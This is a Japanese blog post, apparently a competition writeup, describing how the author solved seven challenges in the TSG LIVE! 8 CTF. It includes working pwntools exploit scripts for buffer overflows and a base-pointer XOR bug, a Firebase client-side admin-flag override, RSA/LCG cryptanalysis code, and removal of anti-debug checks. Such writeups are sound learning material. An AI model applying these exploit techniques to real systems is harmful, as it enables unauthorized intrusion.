概要
この記事は、2022 年 5 月 14 日 12:33-14:13 に開催された TSG LIVE! 8 CTF の Writeup です。自分は一人で参加し、1550 点を入れて優勝しました*1。五月祭や駒場祭で開催されるこの CTF は短時間ながら退屈な問題が存在しないCTF で、毎回とても楽しみにしています。今回も期待に違わず CTF のエッセンスが詰まった面白い問題揃いでした。今年の TSGCTF も楽しみですね。
- 概要
- [misc] guess (8 solves, solved at 12:42)
- [web] problem on fire (8 solves, solved at 12:51)
- [crypto] Forgetful RSA (9 solves, solved at 13:02)
- [crypto] Roulette (8 solves, solved at 13:26)
- [pwn] bpxover (15 solves, solved at 13:30)
- [pwn] bpxor (8 solves, solved at 13:39)
- [pwn] DNS ROPOB (8 solves, solved at 14:12)
- 感想
[misc] guess (8 solves, solved at 12:42)
TSG の misc は好きなので、とりあえず misc から開きました。
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/unistd.h> #include <unistd.h> #include <iostream> #include <string> #include <thread> #include <cstdlib> #include <chrono> void win(){ using namespace std; cout<<"you win!\n"<<getenv("FLAG")<<endl; cout.flush(); syscall(__NR_exit_group, 0); } void guess_checker(std::string s){ using namespace std; cerr<<"Got:"<<s<<endl; int fd = open("/tmp/password",O_RDONLY); if(s.size()>20){ close(fd); } if (!(fcntl(fd, F_GETFL) < 0)) { system("pwgen 50000 -s -1 -N1|tail -c 20 > /tmp/password"); string pass; char c; while(read(fd,&c,1)==1&&c!='\n'){ pass+=c; } cerr<<"Expected:"<<pass<<endl; if(s==pass){ win(); } }else{ cout<<"Wrong Password"<<endl; cout.flush(); this_thread::sleep_for(chrono::microseconds(500)); } close(fd); } int main(int argc, char const* argv[]) { system("touch /tmp/password"); using namespace std; while(true){ cout<<"guess password:"; cout.flush(); string s; getline(cin,s); thread(guess_checker,s).detach(); } return 0; }
thread
とかを使ってることから、明らかに race っぽいです。同じパスワードが複数回使われることがあったりするのかな?と思い、とりあえず改行しまくる入力を送ってみることに。
from pwn import * BIN_NAME = './guess' REMOTE_ADDR = 'chall.live.ctf.tsg.ne.jp' REMOTE_PORT = 21234 LOCAL = False if LOCAL: stream = process(BIN_NAME) else: stream = remote(REMOTE_ADDR, REMOTE_PORT) stream.send(b"\n" * 100) stream.interactive()
同じパスワードが返ってくることには返ってきているものの、それを送り返すほど暇はなさそうだな……などと考えながらわちゃわちゃ遊んでいると、なぜか flag が出てきてしまいました。すいません……
[web] problem on fire (8 solves, solved at 12:51)
firebase 系の問題。firebase に触ったことはないけれど、開始 10 分時点で solve が出ていたから無理ゲーというわけではなさそうだなあと思ったのでやることに。ソースを見ると、以下のようなスクリプトが書いてありました。
<script type="module"> import {createApp} from 'https://cdn.jsdelivr.net/npm/vue@3.2.33/dist/vue.esm-browser.js'; createApp({ data() { return { flag: 'Getting flag...', }; }, async mounted() { const auth = firebase.auth(); const {user} = await auth.signInAnonymously(); const token = await user.getIdToken(); const uid = user.uid; try { const db = firebase.firestore(); await db.collection('users').doc(uid).set({admin: false}); const flag = await db.collection('flags').doc('flag').get(); this.flag = flag.get('value'); } catch (e) { this.flag = e.toString(); } }, }).mount('#app'); </script>
見るからに {admin: false}
が怪しいので、これを true にしたらなんとかならないかな……などと思ったりします。こういう時に便利なのが DevTools にある Local Overrides。これで件の部分を {admin: true}
と書き換えてあげると、flag が降ってきました。
[crypto] Forgetful RSA (9 solves, solved at 13:02)
1024 bit の RSA で、[pow(m >> i, 0x101, N) for i in range(m.bit_length() + 1)]
だけがもらえます*2。
from Crypto.Util.number import getPrime, bytes_to_long p = getPrime(512) q = getPrime(512) N = p * q phi = (p - 1) - (q - 1) e = 0x101 d = pow(e, -1, phi) with open('flag.txt', 'rb') as f: flag = bytes_to_long(f.read()) c = [] for i in range(flag.bit_length() + 1): c.append(pow(flag >> i, e, N)) print(f'c = {c}')
まず、pow(flag >> i, e) < N
を満たす最小の整数 i
について考えます。このとき、pow(flag >> (i - 1), e) - pow(flag >> (i - 1), e, N)
が N
の正の倍数になっていそうなことが分かります。一見 flag >> (i - 1)
は一意に定まらなさそうですが、i
のとりかたより pow(flag >> i, e)
及び flag >> i
が一意に定まるために 2 通り程度試せばよいです。ただ、これだけでは N
がわからないので、i + 2
で同様のことをやったものと GCD を取ることにします。この場合でも高々 4 通り程度試せばよいです。
スクリプトは以下の通りとなりました。
from math import gcd from output import c as cs c1 = 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 c2 = 17234647961827627254305004736582387872360759553391338157175685233319589649902147745640699633708538948311062421924763712862952531161299221214962716924596111250351437988485093451648582902739292571199379168760342780564277718181864371677557960105621902331322310686645216227040048429682683783513268516491331281603 c3 = 71432252101933935197924165935843334056089186981503477314170450163372407863493589824925079068793513863204652099962175810770672413733762627708187060026664286259476934924169247326414291409200620244338550792727408318832405598505815938021315000005877988235580383627767539070657103284985491514447044758331195077943 assert pow(10, 0x101) == c1 cands = [ [10, 20, 40], [10, 20, 41], [10, 21, 42], [10, 21, 43], ] for m1, m2, m3 in cands: n = gcd(pow(m2, 0x101) - c2, pow(m3, 0x101) - c3) if n.bit_length() < 1024: continue cur = 0 for c in cs[::-1]: updated = False for nxt in [cur * 2, cur * 2 + 1]: if pow(nxt, 0x101, n) != c: continue updated = True cur = nxt break assert updated print(cur.to_bytes(len(cs) // 8, "big"))
実は gcd を取った後にも aN(a≠1) の形になっていることがありえるんですが、今回は実験で大丈夫なことを確かめたのでこのままで。速解き CTF では適度な雑さも大事だということを、昔に出た RTACTF で学びました。
[crypto] Roulette (8 solves, solved at 13:26)
配布されるスクリプトを簡潔にすると、以下のような感じです。
class RNG: def __init__(self): self.p = np.random.randint(2**32) self.q = np.random.randint(2**32) self.r = np.random.randint(2**32) self.x = np.random.randint(2**32) def next(self): self.x = (self.p * self.x + self.q) % self.r return self.x rng = RNG() for _ in range(3): print(rng.next() % 37) for _ in range(4): assert rng.next() % 37 == int(input()) print(flag)
線形合同法で返ってきた値に mod が取られていた場合に普遍的にうまく解けるという話は聞いたことがないので、何かをしないといけないんだろうなあという気持ちになります。今回の場合は r
がランダムに取られていることが活用できそうです。r % 37 == 0
となっていると仮定すると、ちょうど問題の制約内でパラメータがリークできそうです。スクリプトは以下の通りとなりました。
from z3 import * from pwn import * BIN_NAME = './main.py' REMOTE_ADDR = 'chall.live.ctf.tsg.ne.jp' REMOTE_PORT = 61234 LOCAL = False stream = None def reconnect(): global stream if stream is not None: stream.close() if LOCAL: stream = process(["python", BIN_NAME]) else: stream = remote(REMOTE_ADDR, REMOTE_PORT) while True: reconnect() res = [] for i in range(3): stream.sendlineafter(b'> ', b'1') stream.sendlineafter(b'> ', b'0') stream.recvuntil(b'Result: ') res.append(int(stream.recvline(keepends=False))) p, q = None, None print(res) for pcand in range(37): for qcand in range(37): x = res[0] for nxt in res[1:]: x = (x * pcand + qcand) % 37 if nxt != x: break else: p, q = pcand, qcand if p is None or q is None: continue print(f'[+] {p=}, {q=}') x = res[-1] money = 1 for i in range(4): x = (x * p + q) % 37 stream.sendlineafter(b'> ', str(money).encode()) stream.sendlineafter(b'> ', str(x).encode()) stream.recvuntil(b'Result: ') res = int(stream.recvline(keepends=False)) if res != x: print(f"[!] {res=}, {x=}") break money *= 36 else: stream.interactive() continue
z3 を使おうとして全探索できるレベルだということに気がついた痕跡が見受けられますね。後で放送を見返したら first blood だったみたい。嬉しいですね。
[pwn] bpxover (15 solves, solved at 13:30)
ド典型 bof。オフセットを調べる時間も勿体ないので気合の pack(chall.symbols["win"]) * 10
。RTACTF で mora さんが使っていたテクです。
from pwn import * BIN_NAME = 'chall' REMOTE_ADDR = 'chall.live.ctf.tsg.ne.jp' REMOTE_LIBC_PATH = 'libc-2.31.so' REMOTE_PORT = 30006 LOCAL = False chall = ELF(BIN_NAME) context.binary = chall if LOCAL: stream = process(BIN_NAME) else: stream = remote(REMOTE_ADDR, REMOTE_PORT) payload = pack(chall.symbols["win"]) * 10 stream.sendline(payload) stream.interactive()
[pwn] bpxor (8 solves, solved at 13:39)
bof の脆弱性が消えた代わりに、入力した値とベースポインタが XOR されるようになりました。XOR されるところでの状態を見ると、以下のようになっています。
───────────────────[ REGISTERS ]─────────────────── RAX 0x1337 RBX 0x4012b0 (__libc_csu_init) ◂— endbr64 RCX 0x0 RDX 0xffffffffffffecc9 RDI 0x7fffffffdd84 ◂— 0x4010d000000000 RSI 0x9 R8 0x1999999999999999 R9 0x0 R10 0x7ffff7f58ac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000 R11 0x7ffff7f593c0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2000200020002 R12 0x4010d0 (_start) ◂— endbr64 R13 0x7fffffffde90 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdda0 ◂— 0x0 RSP 0x7fffffffdd80 ◂— 0x39313934 /* '4919' */ *RIP 0x401298 (main+168) ◂— xor rbp, rax ───────────────────[ DISASM ]─────────────────── 0x401283 <main+147> mov esi, 0 0x401288 <main+152> mov rdi, rax 0x40128b <main+155> call strtoll@plt <strtoll@plt> 0x401290 <main+160> mov qword ptr [rbp - 8], rax 0x401294 <main+164> mov rax, qword ptr [rbp - 8] ► 0x401298 <main+168> xor rbp, rax 0x40129b <main+171> mov eax, 0 0x4012a0 <main+176> leave 0x4012a1 <main+177> ret 0x4012a2 nop word ptr cs:[rax + rax] 0x4012ac nop dword ptr [rax] ───────────────────[ STACK ]─────────────────── 00:0000│ rsp rdi-4 0x7fffffffdd80 ◂— 0x39313934 /* '4919' */ 01:0008│ 0x7fffffffdd88 —▸ 0x4010d0 (_start) ◂— endbr64 02:0010│ 0x7fffffffdd90 —▸ 0x7fffffffde90 ◂— 0x1 03:0018│ 0x7fffffffdd98 ◂— 0x1337 04:0020│ rbp 0x7fffffffdda0 ◂— 0x0 05:0028│ 0x7fffffffdda8 —▸ 0x7ffff7de10b3 (__libc_start_main+243)
これを見ると、入力した文字が rbp-0x20 あたりから入っていることが分かります。16文字まで入力できるため、'1337\x00\x00\x00\x00\xef\xbe\xad\xde'
などとすれば rbp-0x18 の場所に 0xdeadbeef という値が乗りそうです。スクリプトは以下の通りとなりました。
from pwn import * BIN_NAME = 'chall' REMOTE_ADDR = 'chall.live.ctf.tsg.ne.jp' REMOTE_LIBC_PATH = 'libc-2.31.so' REMOTE_PORT = 30007 LOCAL = False chall = ELF(BIN_NAME) context.binary = chall if LOCAL: stream = process(BIN_NAME) else: stream = remote(REMOTE_ADDR, REMOTE_PORT) stream.sendline(str(0x20).encode().ljust(8, b'\x00') + pack(chall.symbols["win"])) stream.interactive()
[pwn] DNS ROPOB (8 solves, solved at 14:12)
高配点だったので絶対に通したかった rev です。解き始めた時点で既に複数チームが解いていたため、そんなに難しくないのではないかと思ったので取り組むことにしました。
とりあえず ghidra で開いてみるも、うまいデコンパイルは走らなそうです。動的解析をしようとしてもアタッチした瞬間死んでしまします。デバッガ検知が入っているのかなあと思ったので strace で覗くと、ptrace(PTRACE_TRACEME)
が呼ばれていることが分かります。これが呼ばれているところをとりあえず nop で潰してみると、すんなりアタッチできました。15分くらいデバッガと格闘しながらアセンブリの挙動を眺めていると、関数は 1 命令ずつバラバラにされてから、それを resolver
関数によって rop のように組み直されていることが分かります。幸いにも、バラバラにされたガジェットの順番がシャッフルされていなさそう*3なので、雑な Python で元のアセンブリに戻すことができました。
ls = open("s.txt").read().splitlines() for i in range(5, len(ls)): if (ls[i - 1].endswith("RET") and ls[i - 2].endswith("POPFD")) or ("LAB_" in ls[i - 1] and "J" not in ls[i - 1]): print(ls[i])
MOV RBP,RSP SUB RSP,0x50 MOV qword ptr [RBP + -0x48],RDI MOV dword ptr [RBP + -0x4c],ESI MOV RAX,qword ptr FS:[0x28] MOV qword ptr [RBP + -0x8],RAX XOR EAX,EAX MOV RAX,qword ptr [DAT_00102678] = 9349499948101812h MOV RDX,qword ptr [DAT_00102680] = D449E8A8F3595948h MOV qword ptr [RBP + -0x30],RAX MOV qword ptr [RBP + -0x28],RDX MOV RAX,qword ptr [DAT_00102688] = E796858C0A68B5C6h MOV RDX,qword ptr [DAT_00102690] = 7C8D76A3435769F8h MOV qword ptr [RBP + -0x20],RAX MOV qword ptr [RBP + -0x18],RDX MOVZX EAX,byte ptr [DAT_00102698] MOV byte ptr [RBP + -0x10],AL MOV byte ptr [RBP + -0x36],0x63 MOV byte ptr [RBP + -0x35],0x71 MOV dword ptr [RBP + -0x34],0x0 JMP LAB_0010192a LAB_00100d43 XREF[1]: 00101964(j) MOV EAX,dword ptr [RBP + -0x34] CDQ SHR EDX,0x1f ADD EAX,EDX AND EAX,0x1 SUB EAX,EDX CMP EAX,0x1 JNZ LAB_001013fd MOV EAX,dword ptr [RBP + -0x34] MOVSXD RDX,EAX MOV RAX,qword ptr [RBP + -0x48] ADD RAX,RDX MOVZX EAX,byte ptr [RAX] MOVSX EDX,AL MOVZX EAX,byte ptr [RBP + -0x36] MOV ECX,EDX XOR ECX,EAX MOV EAX,dword ptr [RBP + -0x34] MOVSXD RDX,EAX LEA RAX,[SEED1] = MOVZX EDX,byte ptr [RDX + RAX*0x1] MOV EAX,dword ptr [RBP + -0x34] CDQE MOVZX EAX,byte ptr [RBP + RAX*0x1 + -0x30] XOR EAX,EDX MOVZX EAX,AL CMP ECX,EAX JZ LAB_001018f0 MOV dword ptr [RBP + -0x4c],0x1 JMP LAB_001019a0 LAB_001013fd XREF[1]: 00100ece(j) MOV EAX,dword ptr [RBP + -0x34] MOVSXD RDX,EAX MOV RAX,qword ptr [RBP + -0x48] ADD RAX,RDX MOVZX EAX,byte ptr [RAX] MOVSX EDX,AL MOVZX EAX,byte ptr [RBP + -0x35] MOV ECX,EDX XOR ECX,EAX MOV EAX,dword ptr [RBP + -0x34] MOVSXD RDX,EAX LEA RAX,[SEED1] = MOVZX EDX,byte ptr [RDX + RAX*0x1] MOV EAX,dword ptr [RBP + -0x34] CDQE MOVZX EAX,byte ptr [RBP + RAX*0x1 + -0x30] XOR EAX,EDX MOVZX EAX,AL CMP ECX,EAX JZ LAB_001018f0 MOV dword ptr [RBP + -0x4c],0x1 JMP LAB_001019a0 LAB_001018f0 XREF[2]: 00101349(j), 0010183c(j) ADD dword ptr [RBP + -0x34],0x1 LAB_0010192a XREF[1]: 00100d08(j) CMP dword ptr [RBP + -0x34],0x1f JLE LAB_00100d43 LAB_001019a0 XREF[2]: 001013c2(j), 001018b5(j) MOV EAX,dword ptr [RBP + -0x4c] MOV RSI,qword ptr [RBP + -0x8] XOR RSI,qword ptr FS:[0x28] JZ LAB_00101ac5 CALL <EXTERNAL>::__stack_chk_fail undefined __stack_chk_fail() LAB_00101ac5 XREF[1]: 00101a52(j) LEAVE RET
これを読み解く傍ら、もしかしたら angr で解けるかもしれないな……という微かな期待から angr を回しておくことにしました。同様の手法で printf("correct!")
を呼んでいる部分を探し、そこに dest_addr を置いてみることに。
import angr import sys base_addr = 0x400000 dest_addr = base_addr + 0x2332 bin_path = 'dns_ropob' proj = angr.Project(bin_path) state = proj.factory.entry_state() simgr = proj.factory.simulation_manager(state) simgr.explore(find=dest_addr) state = simgr.found[0] print(state.posix.dumps(0))
そうすると、すんなりと解けてしまいました。ワーオ。
感想
とにかく面白かったです。最後の一問は終了 40 秒前くらいに通せたのですが、順位表が凍結されていたのですんでのところで優勝を逃したと思い込み、とても悔しかったのを覚えています。悔しくなれるということはそれだけ本気で取り組めたということでもあり、非本質に気が散らされることのないとても濃密な 100 分だったということを表しているのではないでしょうか。
最近我々は「非本質なイライラがなく、良質な問題が多い初級者~中級者向けCTF」をぬくぬく CTF と呼んでいるのですが、TSG LIVE! CTF は毎回ぬくぬく CTF で最高です*4。下手に知らない 24h に出るよりも満足感が高いですし、本当にこういう CTF が増えて欲しいと思っています。広げよう、ぬくぬく CTF の輪。3-4チーム持ち回りで月一開催みたいなのしませんか?本気で。やる気はあります。よろしくお願いします。